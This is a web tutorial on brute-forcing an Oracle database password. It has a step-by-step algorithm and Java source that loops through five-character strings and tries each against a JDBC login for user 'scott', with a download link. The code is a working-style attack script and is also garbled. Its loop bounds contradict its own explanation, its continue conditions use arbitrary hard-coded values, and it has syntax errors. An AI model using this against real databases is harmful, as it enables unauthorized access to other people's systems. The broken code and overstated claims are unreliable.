How ORACLE Password can break ?

Ø   The program will insert the password to a database automatically till the access is not granted. This is also known as brute force attack in the hackers’ world.

Ø   When every technique fails, then the hackers use this technique.

Ø   This is the most powerful technique and it definitely cracks the password but it takes a long time to do that.

Ø   It uses all the ASCII codes which are used by a computer.

Algorithm of this method

Steps

1.    First the software generates a password.

2.    Then it tries to login into the database as a user.

3.    If it fails to login then it generates a new password and goes to step2.             

       else (login success) print the password.

Maximum possible condition

Suppose you have to choose a password having using only 0’s and 1’s.

So the maximum possible passwords are as follows. You can’t choose any word other then these.

And program can able to generate all these word by starting from 0000 and go on 1 to the 0000. By adding 1 in the generated password you can able to generate each and every word in between 0000 to 1111.

In the similar manner by using the ASCII code you can able to generate each and every word which can be formed by using all numbers, alphabets and special character.  You can also able to generate word having one character to 14 characters or more then that.

Now I will show you how you can be able to generate word having 5 characters.

   As the oracle database is having user name ‘scott’ and password ‘tiger’.

Source code

Ø       int f=0;

Ø       loop1:  for(i=0;i<255;i++)

Ø         {loop2:  for(j=0;j<255;j++)

Ø           {loop3:  for(k=0;k<255;k++)

Ø              {loop4:  for(l=0;l<255;l++)

Ø                 {loop5:  for(m=0;m<255;m++)

Ø                   {    

Ø                    a=(char)i;     b=(char)j;     c=(char)k;

Ø                    d=(char)l;     e=(char)m;

Ø                    st1[0]=a; st1[1]=b;st1[2]=c;

Ø                    st1[3]=d;st1[4]=e;

Ø                    String st2=new String(st1);

Ø                    st3=st2;   

Analysis

Ø       Loop1 aaaaa …(varing the 1st char)… zaaaa

Ø       Loop2 aaaaa …(varing the 2nd char)… zzaaa

Ø       Loop3 aaaaa …(varing the 3rd char)… zzzaa

Ø       Loop4 aaaaa …(varing the 4th char)… zzzza

Ø       Loop5 aaaaa …(varing the 5th char)… zzzzz

     By nesting it (the above 5 loops) we can able to generate each and every word in between aaaaa to zzzzz.  

Continuing……

Ø       try

Ø       { cn=DriverManager.getConnection(url,"scott",st2);  //putting the generated   password

Ø                    Statement s=cn.createStatement();  //this line will execute when the password is correct.

Ø                     f=1;

Ø                     break loop1;     //after getting password we have to break the loop.

Ø            }

Ø       catch(Exception eq)

Ø            {

Ø             System.out.println(eq);

Ø                   System.out.println(st2);

Ø            if (m!=118)      continue loop5;

Ø            else if (l!=103)      continue loop4;

Ø            else if (k!=105)      continue loop3;

Ø            else if (j!=108)      continue loop2;

Ø            else if (i!=118)      continue loop1;   

Ø            }   }   }  }  }  //end of all loops

Ø       }                      // end of all catch block

Ø       if(f= = 1)

Ø           System.out.println("Password is "+st3);

Ø       else

Ø          System.out.println("Password is not found);

Ø             }  

Ø       }

 ( For download this program click here )